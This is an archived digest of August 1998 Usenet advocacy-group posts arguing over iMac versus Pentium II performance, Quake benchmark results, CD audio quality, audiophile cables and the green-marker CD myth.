Newsgroups: alt.microsoft.sucks,alt.destroy.microsoft,comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.hardware.misc
Subject: Re: iMac question...
Message-ID: <joe.ragosta-1708981330180001@0.0.0.0>
References: <35D777E5.C9A694E3@shinbiro.com> <scjennings-1608981741190001@ppp011.creative.net> <6r86kc$p41@newsops.execpc.com> <joe.ragosta-1708980828590001@wil51.dol.net> <ericb-1708981140120001@r4149.resnet.cornell.edu>
In article <ericb-1708981140120001@r4149.resnet.cornell.edu>,
ericb@pobox.com (Eric Bennett) wrote:
> In article <joe.ragosta-1708980828590001@wil51.dol.net>,
> joe.ragosta@dol.net (Joe Ragosta) wrote:
>
>
> > USB-SCSI? No thanks. There's an Ethernet-SCSI bridge that's not going to
> > limit SCSI to 1.25 MB/sec.
>
> I case you're forgetting, USB is 12 mbit/sec and standard 10bt ethernet is
> 10 mbit/sec, so USB is faster. I know the iMac supports 100bt, but does
> the ethernet/SCSI bridge support that, or just 10bt?
My understanding is that it was 100BaseT, but I didn't save the original
article, so don't quote me on it.
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
From: ASDL User <peterh@asdl.cad.gatech.edu>
Newsgroups: alt.destroy.microsoft,alt.microsoft.sucks,comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.hardware.misc
Subject: Re: How Fast Is Little iMac? -> Beats EVERY PII
Date: Mon, 17 Aug 1998 13:38:07 -0400
Organization: Georgia Institute of Technology, Atlanta GA, USA
Message-ID: <35D86A7E.1F9CC660@asdl.cad.gatech.edu>
References: <derekc-1408981231350001@as5300-3-45.roc.ny.frontiernet.net> <6r4rnr$inu$1@plug.news.pipex.net> <macghod-1508982026040001@sdn-ar-001casbarp059.dialsprint.net> <joe.ragosta-1608980726050001@elk78.dol.net> <6r967u$a27$1@lwnws01.ne.highway1.com>
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Stormer wrote:
> >There are lots of benchmarks. Calling Jobs a liar because he chose >a
> benchmark that you personally don't like is a pretty clear indication >of
> your bias.
>
> There is NO accurate benchmark out there for comparing two COMPLETLY
> different OS's. Hell if I play Quake on by Intel box with a Voodoo 1 card
> I'm getting almost 90 fps in 800x600 mode. The same thing on the Mac with a
> Voodoo 1 card I am LUCKY to get 25 fps. Looks like the Intel box beats it
> silly.
>
How fast does your monitor refresh. if you aren't getting better than 90 hz in
both horizontal and vertical refresh rate, then aa card doing 90fps, does you
no good, besides, the human eye can only pick out so many of those 90 frames
Date: Mon, 17 Aug 1998 13:44:34 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel
Subject: Re: CD sound & Green Markers (Was APPLE'S MINDSHARE ...)
Message-ID: <joe.ragosta-1708981344340001@wil38.dol.net>
References: <ckoller-0108980911260001@125.san-francisco-04.ca.dial-access.att.net> <asiufy-1308981150270001@200.229.243.209> <6qvfb8$n1q$1@nnrp1.dejanews.com> <nospam-1408980055000001@dhack1-124.cybernex.net> <6r22ti$bvq$1@nnrp1.dejanews.com> <joe.ragosta-1408981626220001@wil72.dol.net> <6r29nn$3oo$1@camel0.mindspring.com> <gmgraves-1408981630300001@sf-pm5-17-81.dialup.slip.net> <6r2tc6$rob$1@camel29.mindspring.com> <gmgraves-1408982206530001@sf-pm5-7-71.dialup.slip.net> <35d525ad.0@news.depaul.edu> <gmgraves-1508981124460001@sf-usr1-23-151.dialup.slip.net> <6r5ha0$sic$1@camel25.mindspring.com> <35D72295.1D53@bellatlantic.net> <massello-1708980108330001@p31.amax1.dialup.elp1.flash.net> <gmgraves-1708981014410001@sf-usr1-49-177.dialup.slip.net>
In article <gmgraves-1708981014410001@sf-usr1-49-177.dialup.slip.net>,
gmgraves@slip.net (George Graves) wrote:
> In article <massello-1708980108330001@p31.amax1.dialup.elp1.flash.net>,
> massello@flash.net (Neill Massello) wrote:
>
> > In article <35D72295.1D53@bellatlantic.net>, dutky@bellatlantic.net wrote:
> >
> > > If the green marker were applied to the edge of the CD
> > > it could easily change the amount of light scattered
> > > around on the inside of the CD plastic. The scattered
> > > light could be interfering with the CD players ability
> > > to identify the binary data on the platter, and the green
> > > boundry at the edge could be reducing the amount of scatterd
> > > light (the CD use either red or infrared LED lasers, which
> > > would be absorbed by a green filter).
> >
> > A dye placed on the ~outside~ of the plastic rim of the CD could only
> > absorb light that would normally be exiting from the CD anyway. Any
> > reflections created at the boundary of the CD would be unaffected,
> > remaining to bounce around within the CD. Unless the CD player's tray was
> > reflective -- and most CD player interiors have always been black, which
> > is at least as good as green for absorbing red or infrared (or any other
> > color) light -- painting the rim of the CD wouldn't make a difference.
> >
> > And even then, all those errant photons would have to make their way back
> > from the rim to wherever the laser pickup was (CD data tracks start at the
> > inside and spiral out toward the rim) all the while retaining enough
> > intensity to cause light "noise" sufficient to create enough bit errors to
> > overwhelm the error correction built in to the CD system.
> >
> > In short, the whole green markers idea is unadulterated superstition. At
> > least they don't cost as much as the silver speaker wires that are also
> > sold to the scientifically challenged.
>
> You come to my house. I have enough different sets of "audiophile" speaker
> cable (I've been an audio equipment reviewer for years) to show you that
> different cables do INDEED sound different. If you walk away still
unconvinced,
> then you had best set up an apointment with an audiologist.
That one I can buy very easily. I don't see any reason to doubt that good
cables can affect the sound less than poor cables.
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
From: nhughes@sunflower.com (nate)
Newsgroups: alt.destroy.microsoft,alt.microsoft.sucks,comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.hardware.misc
Subject: Re: How Fast Is Little iMac? -> Beats EVERY PII
Date: Mon, 17 Aug 1998 18:06:01 GMT
Organization: KU
Message-ID: <35dd70d1.38420203@198.0.0.100>
References: <derekc-1408981231350001@as5300-3-45.roc.ny.frontiernet.net> <6r4rnr$inu$1@plug.news.pipex.net> <macghod-1508982026040001@sdn-ar-001casbarp059.dialsprint.net> <zeno-1608980451300001@pm51-30.magicnet.net> <macghod-1608980221580001@sdn-ar-001casbarp256.dialsprint.net> <tonywong-1708980012540001@remote786.compusmart.ab.ca>
Mime-Version: 1.0
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NNTP-Posting-Date: 17 Aug 1998 18:09:27 GMT
On Mon, 17 Aug 1998 00:12:54 -0600, tonywong@_no_spam_compusmart.ab.ca
(Tony Wong) wrote:
>There is no such thing as quad P2s (only P pro), and Quad Xeons are not
>shipping yet (due to a bus chip bug). Performance claims via benchmarking
Quad Xeons have been shipping for a few weeks now.
--
Nathan A. Hughes
The University Theatre, KU
http://scenedesign.home.ml.org
From: "William Frisbee" <bfrisbee@fuckspam.webengine-db.com>
Newsgroups: alt.destroy.microsoft,alt.microsoft.sucks,comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.hardware.misc
Subject: Re: How Fast Is Little iMac? -> Beats EVERY PII
Date: Mon, 17 Aug 1998 14:13:53 -0400
Organization: Shore.Net/Eco Software, Inc; (info@shore.net)
Message-ID: <6r9rqo$nf@fridge.shore.net>
References: <derekc-1408981231350001@as5300-3-45.roc.ny.frontiernet.net> <6r4rnr$inu$1@plug.news.pipex.net> <macghod-1508982026040001@sdn-ar-001casbarp059.dialsprint.net> <joe.ragosta-1608980726050001@elk78.dol.net> <6r967u$a27$1@lwnws01.ne.highway1.com> <joe.ragosta-1708980924010001@wil51.dol.net> <6r9cu3$n76@fridge.shore.net> <35D865AF.5045B9BA@inficad.com>
>So I guess you built your own house too! Some people don't want the
challenges
>of constructing a damn computer!
Actually, yup I did design and build my current house. If you want it done
right DO IT YOURSELF.
From: not@a.valid.email.add (Michael M. Eilers)
Newsgroups: alt.destroy.microsoft,alt.microsoft.sucks,comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.hardware.misc
Subject: Re: How Fast Is Little iMac? -> Beats EVERY PII
Date: Mon, 17 Aug 1998 11:33:19 -0700
Organization: Oh, I only wish
Message-ID: <not-1708981133190001@ip-26-040.phx.primenet.com>
References: <derekc-1408981231350001@as5300-3-45.roc.ny.frontiernet.net> <6r4rnr$inu$1@plug.news.pipex.net> <macghod-1508982026040001@sdn-ar-001casbarp059.dialsprint.net> <joe.ragosta-1608980726050001@elk78.dol.net> <6r967u$a27$1@lwnws01.ne.highway1.com>
Mail-Copies-To: never
In article <6r967u$a27$1@lwnws01.ne.highway1.com>, "Stormer"
<stormer@nospam.mediaone.net> wrote:
> There is NO accurate benchmark out there for comparing two COMPLETLY
> different OS's. Hell if I play Quake on by Intel box with a Voodoo 1 card
> I'm getting almost 90 fps in 800x600 mode. The same thing on the Mac with a
> Voodoo 1 card I am LUCKY to get 25 fps. Looks like the Intel box beats it
> silly.
Just a note here: You have a 6 MB Voodoo card, whereas the biggest Mac
Voodoo card is 4 MB, which explains the discrepancy in speed. This is a
limitation introduced by a third party, not by Apple or Macintosh designs.
michael
--
"If you're bored, then you're boring"--Harvey Danger, Flagpole Sitta
Michael M. Eilers * Fearful Symmetry Designs * e-mail in headers
From: quinlan@intergate.bc.ca
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel
Subject: Re: APPLE"S MINDSHARE SKYROCKETING!@1!!!!
Date: Mon, 17 Aug 1998 19:18:57 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6r9vn1$aav$1@nnrp1.dejanews.com>
References: <ckoller-0108980911260001@125.san-francisco-04.ca.dial-access.att.net> <macghod-0108981444250001@sdn-ar-001casbarp113.dialsprint.net> <6q14vb$5kn$1@andros.cygnus.com> <35C86ABE.4EE5@genetics.utah.edu> <gmgraves-0608980923010001@sf-usr1-59-187.dialup.slip.net> <35C9C503.2B61@genetics.utah.edu> <joe.ragosta-0708980819190001@wil86.dol.net> <Pine.SOL.3.91.980812093141.2582A-100000@howard.genetics.utah.edu> <gmgraves-1208981500510001@sf-usr1-31-159.dialup.slip.net> <Pine.SOL.3.91.980813114053.21535A-100000@howard.genetics.utah.edu> <gmgraves-1408980720100001@sf-usr1-53-181.dialup.slip.net> <6r23ta$ea2$1@nnrp1.dejanews.com> <asiufy-1508980138510001@200.229.243.200> <35d6af93.40724865@news.iafrica.com> <gmgraves-1608981315040001@sf-usr1-50-178.dialup.slip.net>
In article <gmgraves-1608981315040001@sf-usr1-50-178.dialup.slip.net>,
gmgraves@slip.net (George Graves) wrote:
> You're living in the past. No Macs come with 14400 modems any more
> than current PCs come with 14400 modems.
The G3s ship with K56flex modems. Of course, most PC manufacturers are
shipping V.90 modems so Apple is still a bit behind.
> Most modern Mac's built in "display adapters" are excellent.
They are not performance competitive with mid-end cards for the PC.
> And with Macs no searching endlessly for the latest drivers,
I've never had to get new drivers to fix a problem with my PC.
> no
> week-long fiddling with new peripherals trying to get them to
> work,
I've never had to do this. And, BTW, getting an Adesso keyboard and Mouseman
to work on the same Mac will take more than "week-long fiddling."
> no BSOD (as in NT),
No, the pointer just stops moving and you don't get any information at all.
> no constant system destroying crashes
> (al la Win95/8).
Never happened to me so calling it "constant" seems a bit off.
> Much more time spent doing ones work, and less
> time spent fiddling with a fussy computer with a third-rate
> system sold by a mega corporation which simply doesn't give a
> shit about anything but winning.
Buy a PC from a better vendor.
--
Brian Quinlan
quinlan@intergate.bc.ca
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
http://www.dejanews.com/rg_mkgrp.xp Create Your Own Free Member Forum
From: "Charles W. Swiger" <chuck@codefab.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel
Subject: Re: CD sound & Green Markers (Was APPLE'S MINDSHARE ...)
Date: 17 Aug 1998 19:26:13 GMT
Organization: Spacelab.net Internet Access
Message-ID: <6ra04l$akc$1@news.spacelab.net>
References: <ckoller-0108980911260001@125.san-francisco-04.ca.dial-access.att.net> <asiufy-1308981150270001@200.229.243.209> <6qvfb8$n1q$1@nnrp1.dejanews.com> <nospam-1408980055000001@dhack1-124.cybernex.net> <6r22ti$bvq$1@nnrp1.dejanews.com> <joe.ragosta-1408981626220001@wil72.dol.net> <6r29nn$3oo$1@camel0.mindspring.com> <gmgraves-1408981630300001@sf-pm5-17-81.dialup.slip.net> <6r2tc6$rob$1@camel29.mindspring.com> <gmgraves-1408982206530001@sf-pm5-7-71.dialup.slip.net> <35d525ad.0@news.depaul.edu> <gmgraves-1508981124460001@sf-usr1-23-151.dialup.slip.net> <6r5ha0$sic$1@camel25.mindspring.com> <35D72295.1D53@bellatlantic.net> <gmgraves-1608981325080001@sf-usr1-50-178.dialup.slip.net> <joe.ragosta-1608981658190001@elk59.dol.net> <uthant-1608982112340001@user-37kb9d4.dialup.mindspring.com> <joe.ragosta-1708980656280001@elk81.dol.net>
joe.ragosta@dol.net (Joe Ragosta) wrote:
[ ...green pen... ]
>But that's my point. If the error correction measurements are unchanged,
>the color couldn't possibly make a difference. If the laser sends
>010011010110101.... to the DAC, it doesn't matter one whit whether those
>bits per picked up with a red laser, with a filtered laser, or with a
>PlaySchool player.
>
>The only possible explanation would be if the green magic marker reduced
>(or increased) the number of errors--and this should be easily
>quantifiable.
No, there's another significant factor that computer-type people have a
habitual "blind spot" to. You see, computer circuits don't care when the
bits come in, so long as they come in within the specified time interval--
"bits is bits".
However, one fundamental assumption of sampling theory is that when you
sample or reconstruct the bits, you do so at absolutely constant intervals.
So, even small differences in sample times make a real, audible difference in
audio even if the error rate and the digital data stream is not changed.
I have no opinion about the "green pen" doing anything meaningful, but it's
certainly possible for something that does not have a visible effect on the
digital data stream to be audible.
-Chuck
Charles Swiger | chuck@codefab.com | standard disclaimer
---------------+-------------------+--------------------
"Microsoft: we make the easy almost impossible."
From: "Jeffrey S. Dutky" <dutky@bellatlantic.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel
Subject: Re: CD sound & Green Markers (Was APPLE'S MINDSHARE ...)
Date: Mon, 17 Aug 1998 15:42:49 -0400
Organization: Bell Atlantic Internet Solutions
Message-ID: <35D887B6.5B51@bellatlantic.net>
References: <35d525ad.0@news.depaul.edu> <35D72295.1D53@bellatlantic.net> <edewExt5HI.JBz@netcom.com> <kindall-1608982232400001@nic-c41-094.mw.mediaone.net> <not-1708980019050001@ip-26-188.phx.primenet.com>
Mime-Version: 1.0
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Content-Transfer-Encoding: 7bit
Michael M. Eilers wrote:
>
> Before any of you fall prey to this ridiculous claptrap about green
> markers, consider this:
>
> The "laser" used in CD players is in the IR band--its
> wavelength is *lower* than green (or any color.) What
> color it shined through would make no difference at
> all. (for those who didn't make it past high school
> science, colors are colors because they reflect a
> particular wavelength of light and absorb the others.
> There is no color for infrared.) And if you used an
> opaque green marker, the CD would be useless. This
> "rumor" is about as valid as rat-in-the-fried-chicken
> story or a Good Times virus.
What utter poppycock.
In this case the term color can be perfectly well applied
to infrared light because it is a shorthand for wavelength
(or frequency, which ever way you want to look at it). Many
pigments and filters pass, reflect, and absorb ranges and
sets of wavelengths, so you may have a red filter than also
passes some blue light (and some UV and IR light as well).
The fact that a pigment appears to be green to the human
eye tells you only a little bit about the range of frequencies
that it reflects and absorbs.
Beyond that, the whole point of the speculation was that the
green pigment in the marker may be a good absorber of infrared
light, maybe much better and absorber than that bare plastic/
air boundry (for those of you who didn't make it through COLLEGE
physics, even a transparent material reflects some light at a
phase boundry, which is why you can see your reflection in a
glass window under certain lighting conditions and at certain
angles). If you could decrease the amound of infrared light
relected at the edge of the CD (either by placing a good absorber
of IR on the boundry, or by placing a thin layer of something
that would cancel the reflection by interference) then you could
greatly reduce the amound of scattered IR light within the layer
of plastic, hence increasing the contrast of the light relected
from the "pits" and "bumps" on the CD foil layer.
Again, I'm not saying that I think the green marker really helps,
but I think there is some basis to think it may make a difference.
- Jeff Dutky
From: Erik Corry <erik@arbat.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel
Subject: Re: CD sound & Green Markers (Was APPLE'S MINDSHARE ...)
Date: 17 Aug 1998 19:30:57 GMT
Organization: Home
Message-ID: <6ra0dh$tjt$1@ec.arbat.com>
References: <ckoller-0108980911260001@125.san-francisco-04.ca.dial-access.att.net> <gmgraves-1508981124460001@sf-usr1-23-151.dialup.slip.net> <6r5ha0$sic$1@camel25.mindspring.com> <35D72295.1D53@bellatlantic.net> <gmgraves-1608981325080001@sf-usr1-50-178.dialup.slip.net> <joe.ragosta-1608981658190001@elk59.dol.net> <uthant-1608982112340001@user-37kb9d4.dialup.mindspring.com> <joe.ragosta-1708980656280001@elk81.dol.net> <gmgraves-1708981003100001@sf-usr1-49-177.dialup.slip.net>
User-Agent: tin/pre-1.4-971215 (UNIX) (Linux/2.0.35 (i686))
George Graves <gmgraves@slip.net> wrote:
> There is, however, another explanantion. We don't understand all we know about
> the process of digitizing audio. I mean, based on your assumption, the cabel
> between the CD transport and the outboard D/A converter shouldn't make any
> difference to the sound either - but it does.
If it does, then the poor quality cable is causing bit
errors. So get an outboard D/A converter with an error
light (don't they all have this), and then get the cheapest
cable where the light stays off. Welcome to the digitial
world. Either it works or it doesn't. No need for listening
tests, except for the analogue parts.
(The only situation where a correct bistream could be
transmitting wrong data would be if the timing were off, but
I am totally unable to see how the cable could affect this.
We are talking about a serial data link.)
The rec.audio FAQ
<http://SunSITE.auc.dk/ftp/pub/usenet/rec.audio.tech/FAQ:_rec.audio.*_Wire_1_98_(part_8_of_13)>
says:
15.7 Is there really a difference in digital interconnects?
There are now three kinds of digital interconnects that connect
transports to D/A converters: coax, plastic fiber (Toslink) and
glass fiber (AT&T ST). In theory, these should sound EXACTLY
the same (bits are bits). However, this assumes good circuit
design (in particular, the clock recovery circuits of the DAC,
and careful consideration of electronic noise) which may be
compromised because of cost considerations or ignorance. Note:
different signaling schemes are used on plastic and glass fiber.
Which is crazy. Get an error indicator and get rid of
the uncertainty.
So when is someone going to make speakers with digital
input and builtin amplifier? Then we can have a digital amp
(only a mixer, actually), a receiver and casette player
with A/D converters, and we can forget about all this
cable rubbish. As far as I can see, a variant of SP/DIF,
or whatever it is called would be a suitable standard for
the signals.
--
It's not so much an afterlife, more a sort of apres-vie. --DNA
--
Erik Corry erik@arbat.com
From: "Charles W. Swiger" <chuck@codefab.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel
Subject: Re: "CD quality" audio, was Re: APPLE"S MINDSHARE SKYROCKETING!@1!!!!
Date: 17 Aug 1998 19:43:56 GMT
Organization: Spacelab.net Internet Access
Message-ID: <6ra15s$apa$1@news.spacelab.net>
References: <gmgraves-0608980923010001@sf-usr1-59-187.dialup.slip.net> <35C9C503.2B61@genetics.utah.edu> <joe.ragosta-0708980819190001@wil86.dol.net> <Pine.SOL.3.91.980812093141.2582A-100000@howard.genetics.utah.edu> <gmgraves-1208981500510001@sf-usr1-31-159.dialup.slip.net> <35e6e291.28365146@news.calweb.com> <asiufy-1308981150270001@200.229.243.209> <6qvfb8$n1q$1@nnrp1.dejanews.com> <nospam-1408980055000001@dhack1-124.cybernex.net> <6r22ti$bvq$1@nnrp1.dejanews.com> <joe.ragosta-1408981626220001@wil72.dol.net> <Pine.LNX.3.96.980814171602.22434B-100000@paule> <6r2j1d$ilf$1@plo.sierra.com> <joe.ragosta-1408982111560001@elk41.dol.net> <6r3062$b68$1@news.spacelab.net> <p.kerr-1708981622430001@news.auckland.ac.nz>
p.kerr@auckland.ac.nz (Peter Kerr) wrote:
>The maximum possible s/n from a standard 16bit CD is 96dB. (No arguments
>about compression, mpeg, etc, please)
From the pure standpoint of 20 * log(2^16) == 96.3 dB of S/N, agreed.
However, proper noise-shaped dithering gives you the equivalent of a extra
bit or three (depending) of meaningful sound information, up towards 110 dB.
S/N.
-Chuck
Charles Swiger | chuck@codefab.com | standard disclaimer
---------------+-------------------+--------------------
"Microsoft: we make the easy almost impossible."
From: "Charles W. Swiger" <chuck@codefab.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel
Subject: Re: APPLE"S MINDSHARE SKYROCKETING!@1!!!!
Date: 17 Aug 1998 19:44:20 GMT
Organization: Spacelab.net Internet Access
Message-ID: <6ra16k$apa$2@news.spacelab.net>
References: <joe.ragosta-0708980819190001@wil86.dol.net> <Pine.SOL.3.91.980812093141.2582A-100000@howard.genetics.utah.edu> <gmgraves-1208981500510001@sf-usr1-31-159.dialup.slip.net> <35e6e291.28365146@news.calweb.com> <asiufy-1308981150270001@200.229.243.209> <6qvfb8$n1q$1@nnrp1.dejanews.com> <nospam-1408980055000001@dhack1-124.cybernex.net> <6r22ti$bvq$1@nnrp1.dejanews.com> <joe.ragosta-1408981626220001@wil72.dol.net> <Pine.LNX.3.96.980814171602.22434B-100000@paule> <joe.ragosta-1408981927480001@elk72.dol.net> <Pine.LNX.3.96.980814211023.22615B-100000@paule> <joe.ragosta-1508980652460001@elk56.dol.net>
joe.ragosta@dol.net (Joe Ragosta) wrote:
[ ... ]
>The point is that, even with equipment degradation, "CD Quality Sound" is
>better than the human ear can differentiate.
That's not true.
CD quality sound _is_ good enough that most systems suffer much greater
distortion in other areas of the reproduction chain, notably the speakers.
However, the difference between CD players, or between 44.1KHz/16-bit
sample-rate and higher sampling rates can be reliably distinguished by
careful listeners.
-Chuck
Charles Swiger | chuck@codefab.com | standard disclaimer
---------------+-------------------+--------------------
"Microsoft: we make the easy almost impossible."
From: quinlan@intergate.bc.ca
Newsgroups: alt.destroy.microsoft,alt.microsoft.sucks,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: How Fast Is Little iMac? -> Beats EVERY PII
Date: Mon, 17 Aug 1998 19:45:43 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6ra197$chv$1@nnrp1.dejanews.com>
References: <derekc-1408981231350001@as5300-3-45.roc.ny.frontiernet.net> <6r4rnr$inu$1@plug.news.pipex.net> <macghod-1508982026040001@sdn-ar-001casbarp059.dialsprint.net> <zeno-1608980451300001@pm51-30.magicnet.net> <6r7cfp$4k1$1@nnrp1.dejanews.com> <joe.ragosta-1608981709310001@elk59.dol.net>
In article <joe.ragosta-1608981709310001@elk59.dol.net>,
joe.ragosta@dol.net (Joe Ragosta) wrote:
> So what?
So using Bytemarks to support the claim that a system is faster than another
is absurd. It's like saying that a car is faster than another when you've
only checked the tires. Bytemarks doesn't test video speed, disk speed,
network speed, etc.
> Macdhud called Jobs a liar for repeating Bytemarks results.
Jobs extended the narrow scope of Bytemarks to make claims about system
performance. I think that it may be a lie by definition i.e. to utter
falsehood with an intention to deceive.
--
Brian Quinlan
quinlan@intergate.bc.ca
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
http://www.dejanews.com/rg_mkgrp.xp Create Your Own Free Member Forum
From: "William Frisbee" <bfrisbee@fuckspam.webengine-db.com>
Newsgroups: alt.destroy.microsoft,alt.microsoft.sucks,comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.hardware.misc
Subject: Re: How Fast Is Little iMac? -> Beats EVERY PII
Date: Mon, 17 Aug 1998 16:10:02 -0400
Organization: Shore.Net/Eco Software, Inc; (info@shore.net)
Message-ID: <6ra2ld$3ag@fridge.shore.net>
References: <derekc-1408981231350001@as5300-3-45.roc.ny.frontiernet.net> <6r4rnr$inu$1@plug.news.pipex.net> <macghod-1508982026040001@sdn-ar-001casbarp059.dialsprint.net> <joe.ragosta-1608980726050001@elk78.dol.net> <6r967u$a27$1@lwnws01.ne.highway1.com> <35D864F5.8B4D58B9@inficad.com>
>Linux? What the hell is a "kernel" and why does it need >"recompiling?" A
better question: WHO CARES? Too bad all the >PC owners I know don't have an
instructor like you. Most Mac users >don't need one!!
OK OK the Linux part was a little lame, so flame me later... Linux is for
REAL PC users anyways...
>An hour to learn how to "use Win9x" to do what?
Anything they want... Install programs, get on the internet, basic system
maintenence ect. ect.
>That's probably going to be one of its BEST selling points!
BEST? That is like M$ telling us we MUST use I.E. 4.0 or Win9x
>So these "newbies" you teach are AutoCAD users, too, huh? I know >some
"experienced" PC owners that STILL can't figure out MS >Word!!
Lack of education can kill even the best PC. If someone cannot use Word or
still thinks a CD drive is a cup holder they have NO REASON to even look at
a computer anymore. Welcome to the Hi-Tech age. Learn or leave. Plain and
simple. With 4 or 5 different so called standards for PC's (note by PC I
mean PERSONAL COMPUTER, this includes Macs, X86 stuff and Alphas running NT
or Linux) how the HELL can a "newbie" even start to look for a computer
system. Do they buy a Mac and get lost in the somewhat short availablility
of some software that simply IS NOT available on the Mac. (When is the last
time you played Jane's F-15 or Might & Magic VI on a Mac???) Or do they buy
a WinTel box and get stuck with the crashes and lockups associated with
Windows 95/98, then do they try Linux, being able only to get limited Email
support or hoping there is a friend out there who can help them with Linux
support issues? Then there is the software issue. Not much is available on
the Linux platform yet...
>Yep, those Intel boxes are really something, aren't they? You've >made YOUR
choice, now sit back and watch the thousands of new >users buy iMacs!
And watch what happens when those thousands in a few months are stuck with a
non-upgradeable blue piece of plastic that STILL cannot read a floppy disk
untill you go out and buy a add-on....
>Would you rather see him destroy it? Gee, I wonder why the Justice
>Department is all over Gates' butt?
Billy is not even invovled in this conversation. Hell if Billy did not give
Jobs 150 million smackers a year or so ago, I wonder if Apple could spend
the 100 million on the ad campaign for the iMac or even be able to finish
developing it...
From: gupta@kcopsrm.tm.tta.moc-mirror after @
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel
Subject: Re: CD sound & Green Markers (Was APPLE'S MINDSHARE ...)
Date: 17 Aug 1998 19:58:47 GMT
Organization: IMEMYSELF
Sender: Arun Gupta
Message-ID: <6ra21n$dff@newsb.netnews.att.com>
References: <ckoller-0108980911260001@125.san-francisco-04.ca.dial-access.att.net> <35d525ad.0@news.depaul.edu> <gmgraves-15089811 <6ra04l$akc$1@news.spacelab.net>
Originator: gupta@tlctest
Charles W. Swiger <chuck@codefab.com> wrote:
>[snip]
>However, one fundamental assumption of sampling theory is that when you
>sample or reconstruct the bits, you do so at absolutely constant intervals.
>So, even small differences in sample times make a real, audible difference in
>audio even if the error rate and the digital data stream is not changed.
I think the intervals on the digital data stream from the CD would be
set by a clock on the CD player, and not by the CD. I imagine there would
be more potential jitter from non-uniform rotation of the CD than from
any green marker; and that the electronics takes care of this.
-arun gupta
From: NOSPAMmbkennelNOSPAM@yahoo.com (Matt Kennel)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.hardware.misc,comp.sys.next.advocacy
Subject: Re: Imac faster than p2 400!!!!!!!
Date: 17 Aug 1998 20:17:25 GMT
Organization: University of California at San Diego
Message-ID: <slrn6th3ul.qs3.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu>
References: <macghod-1208981457040001@sdn-ar-001casbarp290.dialsprint.net> <rbarris-ya023280001208981532360001@206.82.216.1>
On Wed, 12 Aug 1998 15:32:36 -0700, Rob Barris <rbarris@quicksilver.com> wrote:
:In article <macghod-1208981457040001@sdn-ar-001casbarp290.dialsprint.net>,
: However application-level performance on iMac is another story, due to a
:couple changes in the iMac design:
:
: a. native interrupt/exception handling (interrupt latency only a few
:percent of what it used to be) - see the developer note. Directly affects
:things like processing streams of net packets, serial traffic and so on.
:Meaning, more cycles freed up for the task at hand, a web browser for
:example.
Can you explain the specifics of this?
I know what interrupt handling means, but what exactly does this
have to do with the iMac hardware, instead of an updated operating
system?
Or did the hardware on older macs preclude an efficient operating
system algorithm?
Thanks,
matt
--
* Matthew B. Kennel/Institute for Nonlinear Science, UCSD -
* "People who send spam to Emperor Cartagia... vanish! _They say_ that
* there's a room where he has their heads, lined up in a row on a desk...
* _They say_ that late at night, he goes there, and talks to them... _they
*- say_ he asks them, 'Now tell me again, how _do_ you make money fast?'"
From: "William Frisbee" <bfrisbee@fuckspam.webengine-db.com>
Newsgroups: alt.destroy.microsoft,alt.microsoft.sucks,comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.hardware.misc
Subject: Re: How Fast Is Little iMac? -> Beats EVERY PII
Date: Mon, 17 Aug 1998 16:24:58 -0400
Organization: Shore.Net/Eco Software, Inc; (info@shore.net)
Message-ID: <6ra3hc$3no@fridge.shore.net>
References: <derekc-1408981231350001@as5300-3-45.roc.ny.frontiernet.net> <6r4rnr$inu$1@plug.news.pipex.net> <macghod-1508982026040001@sdn-ar-001casbarp059.dialsprint.net> <joe.ragosta-1608980726050001@elk78.dol.net> <6r967u$a27$1@lwnws01.ne.highway1.com> <not-1708981133190001@ip-26-040.phx.primenet.com>
I made a mistake that should not be 800x600 it should be 640x480 because the
Mac 4mb card could not do 800x600. Even 2 mb would not make that much of a
difference in speed. Only the lack of a fast processor or a bad port to PPC
could have done that. Just for notes
The PC I used:
Intel based P2 333MHz
128mb SDRAM (PC-100)
Tyan Thunder 100 BX motherboard
Matrox G200 16 mb video card
Creative Labs Live! PCI sound
Canopus Pure 3d Voodoo (I usually use a Creative Labs Voodoo2 12 mb but
needed to used the Voodoo for better, more even comparisons)
SCSI HDD and CD-ROM on a Adaptec 3940 UW2 controller.
640x480 no modifications to Quake FPS:89.5
G3 based at 300MHz
128 MB ram
Apple motherboard
Built in sound
Built in Video (It is a ATI Rage card)
SCSI drives and CD-ROM
Techworks Power3d Voodoo
640x480 no mods Quake FPS 26.3
Michael M. Eilers <not@a.valid.email.add> wrote in message
not-1708981133190001@ip-26-040.phx.primenet.com...
>In article <6r967u$a27$1@lwnws01.ne.highway1.com>, "Stormer"
><stormer@nospam.mediaone.net> wrote:
>
>> There is NO accurate benchmark out there for comparing two COMPLETLY
>> different OS's. Hell if I play Quake on by Intel box with a Voodoo 1 card
>> I'm getting almost 90 fps in 800x600 mode. The same thing on the Mac with
a
